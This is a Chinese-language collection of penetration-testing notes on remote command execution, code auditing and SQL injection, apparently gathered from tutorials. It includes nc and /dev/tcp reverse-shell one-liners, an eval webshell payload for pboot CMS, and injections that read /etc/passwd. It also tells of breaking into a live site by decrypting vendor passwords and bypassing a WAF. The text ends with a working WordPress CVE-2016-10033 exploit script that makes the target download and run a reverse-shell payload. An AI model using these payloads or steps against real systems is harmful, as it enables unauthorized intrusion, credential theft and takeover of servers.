代码审计
- 代码审计中远程命令执行漏洞
- RCE远程命令/代码执行 OS command injection
- 示例
- 使远程服务器执行“whoami”的命令
- Java代码审计
- CodeQLpy - java
- seay
- fortify
- 代码审计
- 实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla
- CVE-2022-1388命令执行F5 BIG-IP iControl REST
- 漏洞概述
- 漏洞验证
- php-RCE+Struts2拿webshell
- 普通权限 命令执行 拿 webshell
- Struts2 拿 webshell
- Wordpress 4.6 PwnScriptum RCE命令执行
- 目标介绍
- 漏洞来源
- 影响版本
- CVE-2016-10033 Vulhub靶场搭建
- 复现过程
- 漏洞利用
- 漏洞解析
- 未授权访问RCE——XXL-JOB executor
- 漏洞复现-CVE-2021-26855 2021年3月 Exchange Server RCE
- 漏洞概述
- 影响版本
- 环境搭建
- 漏洞利用
- 修复方式
- JAVA 常见漏洞
- SSRF服务端请求伪造(Server-Side Request Forgery)
代码审计中远程命令执行漏洞
https://mp.weixin.qq.com/s/NiVF5dPfJsf-qHXcpZEYJA
https://www.kancloud.cn/noahs/src_hacker/2395055
RCE远程命令/代码执行 OS command injection
remote command/code execute
查询的域名后面加一个分号然后加命令即可成功执行命令
或者利用nc命令,反弹shell
&& nc -vlp 4444 -e /bin/bash
sudo netstat -plant | grep 4444
nc -vv 10.0.3.198 4444
python -c “import pty;pty.spawn(‘/bin/bash’)” //这里要注意引号啊
$(nc -vlp 4444 -e /bin/bash)
|nc -vlp 4444 -e /bin/bash
概述
RCE漏洞,
可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一般出现 远程系统命令执行 这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,
后台会对该IP地址进行一次ping测试,并返回测试结果。
如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,让应用去调用代码或者系统命令执行函数去处理
从而让后台进行执行,从而控制整个后台服务器 没有考虑用户是否可以控制这些函数的参数问题,没有做好检测和过滤。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
在这种平台上往往会出现远程系统命令执行的漏洞
远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断, 比如实施严格的白名单策略会是一个比较好的方法。
-
分为远程命令执行ping和远程代码执行evel
命令注入Command Injection
黑客通过利用HTML代码输入机制缺陷
(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。
从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。
RCE 漏洞函数
代码执行
- php
php里面可以执行命令的函数
1、参数拼接方式皆有可能产生SQL注入(老生常谈)
2、全局变量注册导致的变量覆盖
3、fwrite参数未过滤导致的代码执行
4、权限校验疏漏导致的后台功能访问
5、接口任意文件上传
6、unserialize反序列化漏洞
eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()
命令注入执行
- php
执行外部的应用程序或函数:
原型如下:
string system(string command, int &return_var)
command 要执行的命令;
return_var 存放执行命令的执行后的状态值。
string exec (string command, array &output, int &return_var)
command 要执行的命令,
output 获得执行命令输出的每一行字符串,
return_var 存放执行命令后的状态值。
void passthru (string command, int &return_var)
command 要执行的命令,
return_var 存放执行命令后的状态值。
string shell_exec (string command)
command 要执行的命令,
popen
passthru、proc_open
- python
eval
exec
subprocess
os.system
commands
- java
没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数
反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
示例
pboot cms 存在RCE漏洞
打开源码,搜索rce漏洞函数
查看代码,发现大概率存在漏洞,看看参数是否可控
追踪调用函数,查看是那个代码文件调用了eval函数
流程:搜索特定函数->parserIfLabel->parserCommom->About&Content
确认是谁调用之后,构造payload
在线留言处提交payload保存
payload:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
然后来到管理员后台,开启留言
回到在线留言页面,post传递参数
参数值为要执行的代码,点击提交成功执行
可以将参数值更改为命令执行函数,执行系统命令
使远程服务器执行“whoami”的命令
表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,
执行命令变成了system(“ls -al | cat /etc/passwd”),
输出/etc/passwd 文件的具体内容。
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "";
system("ls -al ".$dir);
echo "";
}
?>
服务器配置:apache+php+Mysql;
实验网址(http://10.1.1.11:81)
程序获取GET参数ip,然后拼接到system()函数中,利用system()函数执行ping的功能,
但是此处没有对参数ip进行过滤和检测,
导致可以利用管道符执行其它的系统命令
“|”在windows中的意思是:把前面的结果当成后面的输入,
我们用ip=127.0.0.1|whoami来试一下
后面的命令执行成功,得到我们的身份是system
“&”在windows中的意思是:两条命令一起执行,先执行前面再执行后面,
我们用ip=127.0.0.1&whoami来试一下
原因是在ulr中,“&”是一个连接符号,会被转义成“%26”,
那我们直接使用“%26”,它就会被转义成真正的“&”,
所以我们不妨使用ip=127.0.0.1%26whoami再试一下“||”在windows中的意思是:当前面一个执行失败,则执行后面的,
我们用ip=127.0.0.1||whoami来试一下
这一次whoami命令并没有被执行,这是因为前面的命令可以执行,
我们只要把前面的命令搞成不能执行的,让它自动执行下一条命令,
根据前面提供的关键代码,我们知道只要传入了正常的ip地址,
命令(ping)就会成功执行,所以我们试试把ip地址消除,
用ip=||whoami来试一下
#使远程服务器执行ipconfig命令
preg_match() 函数用于进行正则表达式匹配,
成功返回 1 ,否则返回 0 。
preg_match() 匹配成功一次后就会停止匹配,
如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。
header()函数的作用是:
发送一个原始 HTTP 标头[Http Header]到客户端。
标头 (header) 是服务器以 HTTP 协议传 HTML 资料到浏览器前所送出的字串,
标头与 HTML 文件之间尚需空一行分隔。
这段代码对ip地址进行了简单的过滤,如果它匹配到,它会执行下面system那条命令,
如果它没有匹配到,它就无法执行下面那条命令(即ping),
首先想到的思路就是让它发生错误,执行失败,
使用双管道让它执行ipconfig,接下来我们用ip=127.||ipconfig试一下:
使用单管道(ip=127.0.0.1|ipconfig)试一试:我们使用“%26”(ip=127.0.0.1%26ipconfig)试一试:
我们可以通过ping命令返回结果中的TTL项查看服务器的操作系统:
LINUX——64
WIN2K/NT——128
WINDOWS系列——32
UNIX系列——255(前面为操作系统,后面为TTL值)
通过ping返回结果,看TTL值与哪项最为接近,服务器就是哪个操作系统。TTL值为52,则它与64之间跨了12个路由,所以它的服务器应该是LINUX。
接下来补充一些常用的管道符:
Windows系统支持的管道符如下:
“|”:直接执行后面的语句。
“||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
“&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
“;”:执行完前面的语句再执行后面的语句。
“|”:显示后面语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Java代码审计
注入
- sql注入
1、SQL注入漏洞简介
(1)SQL注入攻击是黑客利用SQL注入漏洞对数据库进行攻击的常用手段之一。
攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,
网站应用程序未经过滤,便将恶意SQL语句带入数据库执行。
(2)SQL注入漏洞可能会造成服务器的数据库信息泄露、数据被窃取、网页被篡改,甚至可能会造成网站被挂马、服务器被远程控制、被安装后门等。
(3)SQL注入的分类较多,一般可笼统地分为数字型注入与字符串型注入两类;
当然,也可以更加详细地分为联合查找型注入、报错注入、时间盲注、布尔盲注等
2、SQL注入的条件
(1)输入用户可控。
(2)直接或间接拼入SQL语句执行。
3、审计方法
对于SQL注入漏洞审计,常见的方法是,
根据SELECT、UPDATE等SQL关键字或是
通过执行SQL语句定位到存在SQL语句的程序片段,随后通过查看SQL语句中
是否存在变量的引用并跟踪变量是否可控。
因SQL注入漏洞特征性较强,在实际的审计过程中我们往往可以通过一些自动化审计工具快速地发现这些可能存在安全问题的代码片段。如使用Fortify等自动化工具。
Java语言本身是一种强类型语言,
因此在寻找SQL注入漏洞的过程中,可以首先找到所有包含SQL语句的点,随后观察传参类型是否是String类型,只有当传参类型是String类型时我们才可能进行SQL注入。
CodeQLpy - java
seay
fortify
JAVA中执行SQL的几种方式
(1)使用JDBC的java.sql.Statement执行SQL语句
Statement是Java JDBC下执行SQL语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现SQL注入漏洞
使用方法如下:
//注册驱动
Class.forName("oracle.jdbc.driver.0racleDriver")
//获取连接
Connection conn = DriverManager.getConnection(DBURL,DBUser,DBPassWord);
//创建 Statement 对象
Statement state = conn.createStatement);
//执行 SQL
String sql="SELECT*FROM user WHERE id="+id+"";
state. executeQuery(sql);
(2)使用JDBC的java.sql.PreparedStatement执行SQL语句
https://mp.weixin.qq.com/s/jt5hQ5o-0EVjoVp9UJX2fA
内存的基本概念
差异备份 注入
java基本语法
代码审计
- 漏洞挖掘 —— 代码审计
- 原理
可控变量 功能函数 - 原理 衍生 思路
- 指定/随机 漏洞
指定 -----> 寻找指定漏洞关键字 (函数,变量)
随机 -----> 可控变量 (接受方式关键字 eg:$_SET ) - 工具 环境
遍历文件 查找软件 (审计系统 , 光速/闪电搜索)
- 抓包
- 数据库 监控 动作分析
实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla
- 关键词 —> 目标源码
主域名
没有子域
- 信息收集
- 中间件
IIS 8.5
输入admin发现自动添加了/ ------> 说明其目录存在,
盲猜 文件,login.aspx default.aspx main.aspx 等等
最终在login.aspx下面发现后台登录页面。
猜弱口令 -----> 账号被锁
html代码中发现了某处信息
author : 设计制作?
根据后面的域名访问过去,是一个建站公司
IIS8.5+ASP.NET+建站系统------> 扫一波备份文件:
400多条ip这开发商还行
使用FOFA查询工具,批量导出
扫一下备份文件 ----->B哥的扫描器
传送门
可以进行批量存活扫描和目录扫描 ------>在好几个站下面发现web.zip备份文件
下载下来过后,对其目标站点文件进行了对比。基本一致
- 拿到代码开始审计
某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)
该方法需要提供绝对路径----->跟踪相关参数
另一个方法中调用了该方法
并传入Server.MapPath,这根本不需要找绝对路径了系统都给你安排好了
那么构造POC:
ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***.cn/
访问地址:
文件存在,那么证明可行
回到目标地址:
被修复了文件不存在
继续回到代码中,审计其他漏洞在其他接口中,也均存在多个漏洞。
如ueditor远程抓取漏洞
文件重命名可Getshell
这些接口都需要登录
在一些无需登录的接口中尝试寻找SQL注入
某处发现SQL拼接
这里调用了IsSafeSqlString检测
常见符号基本被卡的死死的
- 拿下开发商寻找通用账号逆向加解密算法
使用了相同的建站程序,怀疑有程序内置账户
通过刚才审计出来的漏洞。
从同程序的站点入手
某个站点成功拿到Webshell
相关信息
居然是厂商的演示站群,存了该开发商所有站点源码。
---->
应该是在开发过程中的演示环境吧站点有很多,估计每个客户都有。
在服务器里翻到了目标站点的演示网站
根目录下有zip网站备份和sql 数据库备份。
如果说目标站点是直接搬迁过去的,那么后台账户密码应该是一样的。
将其SQL文件下载下来。再其中搜索相关信息
发现了插入账户的SQL语句。其密码是加密过的
cmd5解不开,看了下密文是33位加密。
但是登录过程中,密码是RSA加密过后传输的,而后端居然是33位的md5加密
有源代码,追踪了一下登录了相关方法
密码传入后,调用了CommFun.EnPwd进行了一次加密。
追踪EnPwd方法
可以看到,传入进来的密码是RSA类型,先进行了一次RSA解密,然后进行了一次DES加密。
追踪DESEncrypt.Encrypt方法。
这里是将Encrypt方法封装了一下,并传入加密key。
其核心加密方法为下:
并且,在该类里。还定义了解密方法
得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了
将得到加密字符进行解密,得到结果
尝试登录
- 柳暗花明拿下目标shell
准备尝试绕过SQL过滤。
就在这时候,我发现了一处SQL注入点。
某方法接收了两个参数,却只对一个参数进行了过滤。
在目标网站上测验
存在注入,发现存在waf使用垃圾参数填充成功绕过waf
直接上sqlmap安心的跑,得到系统账户以及密文
将得到的密文进行解密,得到结果
尝试登录
经过之前的审计,发现了很多接口都存在漏洞,现在成功登录了。岂不是随便getshell
直接ueditor带走
CVE-2022-1388命令执行F5 BIG-IP iControl REST
漏洞概述
2022年5月6日,F5官方发布了BIG-IP iControl REST的风险通告,
漏洞编号为CVE-2022-1388,漏洞等级为严重。
F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。
iControl REST是iControl框架的演变,使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。
组件:F5 BIG-IP iControl REST
漏洞类型:身份验证绕过
影响:命令执行
简述:该漏洞允许未经身份验证的攻击者通过管理口或自身ip地址对BIG-IP系统进行系统访问,以执行任 意系统命令,
创建或删除文件以及禁用BIG-IP上的服务。
漏洞验证
版本:BIGIP-13.1.3.3-0.0.6
需要到F5官方去进行账号注册后,要半天时间才能收到激活邮件,才能下载F5的镜像,然后需要用邮件中发送的激活码将F5激活。
参考安装
https://blog.csdn.net/weixin_37569048/article/details/100052755
我这里选择的是低版本,
系统用户账号密码:root/default,web密码:admin/admin。
高版本激活比较复杂,还需要更改系统密码,web密码也有更改,在网上没找到。
F5官网:F5官网
https://www.f5.com.cn/trials
F5下载地址:下载
https://login.f5.com/resource/login.jsp?ctx=719748
banner
访问 地址ip+/mgmt/shared/authn/login,如果返回中存在 resterrorresponse,则说明存在漏洞。
php-RCE+Struts2拿webshell
原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程
普通权限 命令执行 拿 webshell
CMD echo 写入一句话 php文件
同级目录写入文件
菜刀连接
Struts2 拿 webshell
Wordpress 4.6 PwnScriptum RCE命令执行
目标介绍
WordPress 是一种使用 PHP 语言开发的博客平台,
用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。
也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
WordPress有许多第三方开发的免费模板,安装方式简单易用。
不过要做一个自己的模板,则需要你有一定的专业知识。
比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。
漏洞来源
历史漏洞CVE-2016-10033
PHPMailer
WordPress 使用 PHPMailer 组件向用户发送邮件。
PHPMailer(版本 < 5.2.18)
存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,
造成远程命令执行的危害。
CVE-2016-10033 https://paper.seebug.org/161/
影响版本
WordPress <= 4.6.0 PHPMailer < 5.2.18
CVE-2016-10033 Vulhub靶场搭建
编译及运行测试环境
docker-compose build
docker-compose up -d
初始化管理员用户名和密码
访问http://your-ip:8080/
复现过程
漏洞缺陷处在后台找回密码的地方
密码重置界面/wp-login.php?action=lostpassword
在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,
这个时候PHPmailer<=5.2.18时存在RCE。
http://127.0.0.1:8080/wp-login.php?action=lostpassword
登录页点击忘记密码,在用户名或电子邮件地址输入框输入aming(我注册时填的是aming)。
点击获取新密码,使用burp拦截抓包。
利用条件&问题注意点
1.执行的命令不能包含一些特殊的字符,例如 :,',"和管道符等。
所以我们需要将待执行的命令放到第三方网站中
然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行
2.该命令将转换为小写字母
3.命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是aming
命令只在服务器端执行命令、不会显示在客户端
解决办法
1、payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
2、payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
Payload,在tmp处添加success文件
xxxxxx(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
修改请求头Host的值
将Host的值完全修改为payload,不再包含IP地址
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=aming
┌──(root💀amingMM)-[/home/…/Desktop/vulhub-master/wordpress/pwnscriptum]
└─# docker exec -it ca75a6ff1e70 /bin/bash
root@ca75a6ff1e70:/var/www/html# ls
index.php wp-activate.php wp-comments-post.php wp-content wp-links-opml.php wp-mail.php wp-trackback.php
license.txt wp-admin wp-config-sample.php wp-cron.php wp-load.php wp-settings.php xmlrpc.php
readme.html wp-blog-header.php wp-config.php wp-includes wp-login.php wp-signup.php
root@ca75a6ff1e70:/var/www/html# cd /tmp
root@ca75a6ff1e70:/tmp# ls
success
root@ca75a6ff1e70:/tmp#
漏洞利用
发送payload使靶机下载1.txt,并保存到/tmp/xxx
在攻击机上监听1474端口
发送payload使靶机运行shell
ping 一下docker宿主机
root@ca75a6ff1e70:/tmp# ping 172.16.7.204
PING 172.16.7.204 (172.16.7.204) 56(84) bytes of data.
64 bytes from 172.16.7.204: icmp_seq=1 ttl=64 time=0.189 ms
64 bytes from 172.16.7.204: icmp_seq=2 ttl=64 time=0.044 ms
docker wordpress内 反弹尝试 OK
root@ca75a6ff1e70:/# bash -i >& /dev/tcp/172.16.7.204/1474 0>&1
开启 nc 监听
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# nc -lvvp 1474
listening on [any] 1474 ...
python -m http.server 80
准备payload 下载环境
下载地址
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# python2 -m SimpleHTTPServer 80 1 ⨯
Serving HTTP on 0.0.0.0 port 80 ...
放入反弹payload
bash -i >& /dev/tcp/172.16.7.204/1474 0>&1
手动利用
编写反弹shell的exp,放到某个网页里。有如下要求:
整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
访问该网页不能跳转,因为follow跳转的参数是-L(大写)
拼接成命令/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce
将上述命令中的空格和/转换成${substr{10}{1}{$tod_log}}和${substr{0}{1}{$spool_directory}}
拼接成HTTP包的Host头:target(any -froot@localhost -be ${run{command}} null)
依次发送这两个拼接好的数据包
发送payload,下载1.txt到靶机/tmp/xxx
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}139.198.172.202${substr{0}{1}{$spool_directory}}1.txt}} null)
发送payload运行shell:
原:aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
POC
给脚本权限
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# chmod 777 1.sh 1 ⨯
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# sudo ./1.sh http://127.0.0.1:8080
sudo ./1.sh http://127.0.0.1:8080
#!/bin/bash
#
# __ __ __ __ __
# / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
# / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
# / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
# /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
# /____/
#
#
# WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit
# CVE-2016-10033
#
# wordpress-rce-exploit.sh (ver. 1.0)
#
#
# Discovered and coded by
#
# Dawid Golunski (@dawid_golunski)
# https://legalhackers.com
#
# ExploitBox project:
# https://ExploitBox.io
#
# Full advisory URL:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
#
# Exploit src URL:
# https://exploitbox.io/exploit/wordpress-rce-exploit.sh
#
#
# Tested on WordPress 4.6:
# https://github.com/WordPress/WordPress/archive/4.6.zip
#
# Usage:
# ./wordpress-rce-exploit.sh target-wordpress-url
#
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
#
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
# shell 监听地址
rev_host="172.16.7.204"
function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro" | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1111 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -m simpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=aming&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
